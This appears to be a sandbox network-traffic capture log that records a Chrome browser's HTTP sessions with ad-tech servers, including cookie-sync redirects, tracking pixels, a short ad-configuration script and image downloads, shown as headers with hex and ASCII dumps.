2024-04-27 22:42:06 UTC	500	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:06 GMT Content-Length: 209 Connection: close server: Kestrel location: https://match.adsrvr.org/track/cmb/openx?oxid=daaf3e02-0bcc-3afa-7eb6-2ab938e28ede&gdpr=0 set-cookie: TDID=a6492b4a-84d7-4283-a22a-9271c0a74ccf; expires=Sun, 27 Apr 2025 22:42:06 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYBSgCMgsI0t6s8b_F8zwQBTgB; expires=Sun, 27 Apr 2025 22:42:06 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-27 22:42:06 UTC	209	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 6f 70 65 6e 78 3f 6f 78 69 64 3d 64 61 61 66 33 65 30 32 2d 30 62 63 63 2d 33 61 66 61 2d 37 65 62 36 2d 32 61 62 39 33 38 65 32 38 65 64 65 26 67 64 70 72 3d 30 22 3e 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 6f 70 65 6e 78 3f 6f 78 69 64 3d 64 61 61 66 33 65 30 32 2d 30 62 63 63 2d 33 61 66 61 2d 37 65 62 36 2d 32 61 62 39 33 38 65 32 38 65 64 65 26 67 64 70 72 3d 30 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://match.adsrvr.org/track/cmb/openx?oxid=daaf3e02-0bcc-3afa-7eb6-2ab938e28ede&gdpr=0">https://match.adsrvr.org/track/cmb/openx?oxid=daaf3e02-0bcc-3afa-7eb6-2ab938e28ede&gdpr=0</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.4	50097	35.207.24.140	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	574	OUT	GET /opt-out.js HTTP/1.1 Host: rtb.mfadsrvr.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:06 UTC	696	IN	HTTP/1.1 200 OK Cache-Control: max-age=86400 Content-Length: 639 Content-Type: application/javascript Date: Sat, 27 Apr 2024 22:42:06 GMT ETag: 1713187980639 Last-Modified: Mon, 15 Apr 2024 13:33:00 GMT Set-Cookie: tuuid=f878fcd5-3d00-43cd-985c-99e17c8bd043; path=/; expires=Sun, 27-Apr-2025 22:42:06 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: c=1714257726; path=/; expires=Sun, 27-Apr-2025 22:42:06 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: tuuid_lu=1714257726; path=/; expires=Sun, 27-Apr-2025 22:42:06 GMT; domain=.mfadsrvr.com; samesite=none; secure Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:06 UTC	559	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 61 64 48 6f 6d 65 22 29 2c 6e 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 61 64 43 6f 6e 66 69 67 22 29 3b 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 6e 2c 65 2e 66 69 72 73 74 43 68 69 6c 64 29 3b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 61 64 43 6f 6e 66 69 67 49 63 6f 6e 22 29 3b 74 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 Data Ascii: document.addEventListener("DOMContentLoaded",function(){var e=document.querySelector(".adHome"),n=document.querySelector(".adConfig");e.insertBefore(n,e.firstChild);var t=document.querySelectorAll(".adConfigIcon");t.forEach(function(e){e.addEventListener(
2024-04-27 22:42:06 UTC	80	IN	Data Raw: 61 79 3d 22 62 6c 6f 63 6b 22 7d 29 2c 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 61 64 43 6f 6e 66 69 67 54 65 78 74 22 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 7d 29 7d 29 7d 29 3b Data Ascii: ay="block"}),document.querySelector(".adConfigText").style.display="none"})})});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.4	50106	18.160.45.140	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	654	OUT	GET /images/button.png HTTP/1.1 Host: d31otfhas71ais.cloudfront.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:06 UTC	544	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 1549 Connection: close Date: Sat, 27 Apr 2024 01:37:43 GMT Last-Modified: Thu, 27 Apr 2017 11:50:30 GMT ETag: "b2b37aa9f64082eeedb9670c620baca1" x-amz-meta-s3b-last-modified: 20170427T114916Z x-amz-version-id: null Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 941f9399edc1f082afabdbb29c8909b8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD55-P2 X-Amz-Cf-Id: jnfxpqT_qq5gTpfGAUfo2hJjidf6r7fhymDtFlAEt71Q00-ajiusDQ== Age: 75864 Vary: Origin
2024-04-27 22:42:06 UTC	1549	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 01 4b 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 0a 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f Data Ascii: PNGIHDR22?KiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?><x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.4	50101	18.165.94.217	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	673	OUT	GET /eeaff1655f3d99d35bccbfaee7e711a7.webp HTTP/1.1 Host: de9a11s35xj3d.cloudfront.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:06 UTC	655	IN	HTTP/1.1 200 OK Content-Type: image/webp Content-Length: 15614 Connection: close Date: Sat, 27 Apr 2024 01:31:26 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Expose-Headers: Access-Control-Allow-Origin Access-Control-Max-Age: 3000 Last-Modified: Sun, 21 Apr 2024 11:28:54 GMT ETag: "8ab75a70bd5025bb56cfc599e345e22e" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 2896f6be77233cf3f24b7a1aaae1c6f2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD55-P4 X-Amz-Cf-Id: 4x4SXiiEWtH52apgEkz34DKG_vQK4NVvDff8Yh5zpHJZQQM8bGQnXA== Age: 76241
2024-04-27 22:42:06 UTC	15614	IN	Data Raw: 52 49 46 46 f6 3c 00 00 57 45 42 50 56 50 38 20 ea 3c 00 00 b0 55 02 9d 01 2a b0 04 73 02 3e 6d 36 96 48 a4 26 31 aa 25 b2 d9 0a 30 0d 89 69 6e d9 17 f1 64 ee 0f 5c eb b9 9b 6e c2 40 1d 06 8c 04 bf f9 1b ab fa 6f fc fe 61 fc ab fb 97 83 fc 2c 30 5f fa 5e a1 7f ec 3d 10 9b 79 ff b3 d3 d7 f4 de 95 de 3c 7f ae f4 ff a2 69 7c e7 6e de 30 fe b8 7d fc 23 ff a7 a6 2f 8a ff 99 e4 3f e4 7f a7 e4 a8 66 fd 97 b3 cf e4 6f ef f9 13 91 d0 c7 bf 55 64 5b a7 ed f5 e5 b4 49 e3 00 b6 57 0e 8a e0 17 f8 4f c1 d6 59 8f e4 78 34 53 8e de 96 2a b8 3e 88 3f b6 fa f2 f4 4e e9 2d d0 46 24 64 cb 7a 79 73 25 97 db 49 b6 93 c5 36 d3 44 c6 6c 83 0d 58 11 68 03 c8 45 e1 d9 bb 05 3d 73 f5 4e 5c 51 fc 00 61 a4 fc 3f 5f 91 a6 00 95 7c e6 e7 e0 40 ec 40 0f 55 c5 4b 7f 0b 3e 7c d2 f1 be 43 Data Ascii: RIFF<WEBPVP8 <Us>m6H&1%0ind\n@oa,0_^=y<i\|n0}#/?foUd[IWOYx4S>?N-F$dzys%I6DlXhE=sN\Qa?_\|@@UK>\|C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.4	50102	18.165.94.217	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	647	OUT	GET /mf_logo.png HTTP/1.1 Host: de9a11s35xj3d.cloudfront.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:06 UTC	649	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 18421 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Expose-Headers: Access-Control-Allow-Origin Access-Control-Max-Age: 3000 Last-Modified: Thu, 12 Oct 2023 11:45:42 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Date: Sat, 27 Apr 2024 22:42:07 GMT ETag: "6ef801c4fcaf4f4bbc17827bbcd87955" X-Cache: RefreshHit from cloudfront Via: 1.1 d1dad7d3c339d87d553c26a84c9ca5d2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD55-P4 X-Amz-Cf-Id: YEqbxqkaaS3APLt3-8SXG88Vfm3f2KjDR6qZqO3MOdgxTTexpl5Zgg==
2024-04-27 22:42:06 UTC	16384	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 03 00 00 00 50 08 06 00 00 00 84 5e 76 27 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 43 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 61 38 64 34 37 35 33 34 39 2c 20 32 30 32 33 2f 30 33 2f 32 33 2d 31 33 3a 30 35 3a 34 Data Ascii: PNGIHDRP^v'tEXtSoftwareAdobe ImageReadyqe<CiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:4
2024-04-27 22:42:06 UTC	2037	IN	Data Raw: 70 f5 12 c1 a2 11 93 e9 a4 b8 48 a7 2d 36 89 86 bf b1 b8 f4 f3 33 87 bb 5f c6 b4 b2 32 c1 ee ff e4 f5 88 d7 97 e9 94 a9 9c 74 81 d6 33 2d aa c9 81 24 13 25 20 f6 09 bc b7 72 9a ef 17 17 1e 5f f8 bd be 2e f0 09 70 43 0d 9e 18 0c 42 fa 43 00 10 dc 72 5a d9 89 63 0b 9d 1b 44 37 b8 99 62 c4 01 93 18 9c 89 ae 71 9d 17 86 19 81 94 c6 5d 41 71 da 6a aa cb 44 98 52 7f 52 12 fb f2 bc a2 eb be 30 ab f0 66 4a 59 8c 99 cc 57 31 eb a5 c8 f1 c0 68 72 2f 8d 59 3d 64 13 50 83 3d 47 92 c9 18 aa 2c 8f 16 18 38 b6 94 c0 5b 24 7e ce fc 85 21 d6 ae 30 2f 57 93 f8 19 f6 80 35 d2 29 f5 d9 fb 24 1e 48 d8 32 64 d1 80 b0 18 aa 0b 97 8e 92 98 8a fb f5 8c 30 92 3b ab d5 65 a3 5d df 38 a5 74 d5 19 93 f2 ef c2 67 f8 d5 85 57 42 0b 2f 4b 92 f9 0f 7f 57 b4 fa 45 8b 51 bc 4e 7c 9e ce 63 Data Ascii: pH-63_2t3-$% r_.pCBCrZcD7bq]AqjDRR0fJYW1hr/Y=dP=G,8[$~!0/W5)$H2d0;e]8tgWB/KWEQN\|c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
299	192.168.2.4	50100	35.207.24.140	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	750	OUT	GET /sync?ssp=medianet&seller_network=medianet_&bid_id=050da2ed-bd03-435f-be54-555e9e2da636&initiator=me&us_privacy=1YNN&gdpr=0 HTTP/1.1 Host: rtb-use.mfadsrvr.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:06 UTC	795	IN	HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache, no-store, must-revalidate Content-Length: 0 Date: Sat, 27 Apr 2024 22:42:06 GMT Location: https://rtb-use.mfadsrvr.com/ul_cb/sync?ssp=medianet&seller_network=medianet_&bid_id=050da2ed-bd03-435f-be54-555e9e2da636&initiator=me&us_privacy=1YNN&gdpr=0 Set-Cookie: tuuid=786797b7-bf38-456a-a874-4aad6fb5186b; path=/; expires=Sun, 27-Apr-2025 22:42:06 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: c=1714257726; path=/; expires=Sun, 27-Apr-2025 22:42:06 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: tuuid_lu=1714257726; path=/; expires=Sun, 27-Apr-2025 22:42:06 GMT; domain=.mfadsrvr.com; samesite=none; secure Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.4	50099	35.207.24.140	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	750	OUT	GET /sync?ssp=intentiq&seller_network=medianet_&bid_id=050da2ed-bd03-435f-be54-555e9e2da636&initiator=me&us_privacy=1YNN&gdpr=0 HTTP/1.1 Host: rtb-use.mfadsrvr.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:06 UTC	795	IN	HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache, no-store, must-revalidate Content-Length: 0 Date: Sat, 27 Apr 2024 22:42:06 GMT Location: https://rtb-use.mfadsrvr.com/ul_cb/sync?ssp=intentiq&seller_network=medianet_&bid_id=050da2ed-bd03-435f-be54-555e9e2da636&initiator=me&us_privacy=1YNN&gdpr=0 Set-Cookie: tuuid=7525af09-8e05-4789-9b22-ffc3d9f4aafa; path=/; expires=Sun, 27-Apr-2025 22:42:06 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: c=1714257726; path=/; expires=Sun, 27-Apr-2025 22:42:06 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: tuuid_lu=1714257726; path=/; expires=Sun, 27-Apr-2025 22:42:06 GMT; domain=.mfadsrvr.com; samesite=none; secure Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.4	50108	52.217.11.84	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	659	OUT	GET /adServingAssets/icon.png HTTP/1.1 Host: mcc-cms-s3.s3.amazonaws.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:06 UTC	414	IN	HTTP/1.1 200 OK x-amz-id-2: umfTt0z8Po9zoRA7qTVLyqy1Fut8+4gI/bWdGdk0pe6CKI6TWaW/SqtAz/5GgUOxjZJjyGwb0Js= x-amz-request-id: KMKWF2C184F9TM13 Date: Sat, 27 Apr 2024 22:42:07 GMT Last-Modified: Wed, 08 Nov 2023 16:07:51 GMT ETag: "d0ee6041d90031b68fdf3426cc70b151" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: image/png Server: AmazonS3 Content-Length: 7835 Connection: close
2024-04-27 22:42:06 UTC	7835	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 51 00 00 00 56 08 02 00 00 00 38 e8 ed d9 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 43 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 61 38 64 34 37 35 33 34 39 2c 20 32 30 32 33 2f 30 33 2f 32 33 2d 31 33 3a 30 35 3a 34 Data Ascii: PNGIHDRQV8tEXtSoftwareAdobe ImageReadyqe<CiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.4	50096	3.33.220.150	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	737	OUT	GET /track/cmb/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAEYBSgCMgsIkJ3W7r_F8zwQBTgB
2024-04-27 22:42:06 UTC	516	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:06 GMT Content-Length: 233 Connection: close server: Kestrel location: https://pbs.yahoo.com/setuid?bidder=ttd&uid=43e7dc8e-5458-4375-be4a-644737ed4dbd&gdpr=0&gdpr_consent= set-cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; expires=Sun, 27 Apr 2025 22:42:06 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYBSABKAIyCwiQndbuv8XzPBAFOAE.; expires=Sun, 27 Apr 2025 22:42:06 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-27 22:42:06 UTC	233	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 62 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 73 65 74 75 69 64 3f 62 69 64 64 65 72 3d 74 74 64 26 75 69 64 3d 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 37 33 37 65 64 34 64 62 64 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 70 62 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 73 65 74 75 69 64 3f 62 69 64 64 65 72 3d 74 74 64 26 75 69 64 3d 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 37 33 37 65 64 34 64 62 64 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://pbs.yahoo.com/setuid?bidder=ttd&uid=43e7dc8e-5458-4375-be4a-644737ed4dbd&gdpr=0&gdpr_consent=">https://pbs.yahoo.com/setuid?bidder=ttd&uid=43e7dc8e-5458-4375-be4a-644737ed4dbd&gdpr=0&gdpr_consent=</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.4	50104	35.207.24.140	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	1129	OUT	GET /imp_s2s/v3/nPoevAi1FHWEQLiJR2TlP951GP1JwKgYXPF92ZYP9vM8IWxe0oXzJE5dE3YLdu27w8Fqp4Xtlh4QwjdEZ7SxY94PIB7uF1SSEQMFU-_0rR2ZfN-lZHnJaz3-PkLQubwlfTq2OSWTxS8b7H9CH957BXf1i0dxWy3700dgoDEMh7pOuiRdTLKo2tCnNNR9GIQZoYTglgNMX3a6XCUYFkuGo94qj8HcuJHDEd7VffByb8i0nrtwr4d0AmFxJACBEDdp3HaUPW_VaHBRiwBs4WT1hsrSF2CQy1v5Z0neFy_ouardOSwED8enbkZTZwhLPiYtkmapjOLSJ8W23u6rKkY4y1O9Y9TIOGNDXwhqYFiPI4sAWk-wjufeHeTmwy8_7D3Fj_uPQwFlPjSPQRanuZ1WkUZVXpetrpWzrzJQhI0e4Ni-tiPebMyZrtr5IEmI1qQsYDg2yQUn9Lj4vtMlCTr5crw37Pq20Q/1.049?q=1 HTTP/1.1 Host: rtb-use.hellogenie.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
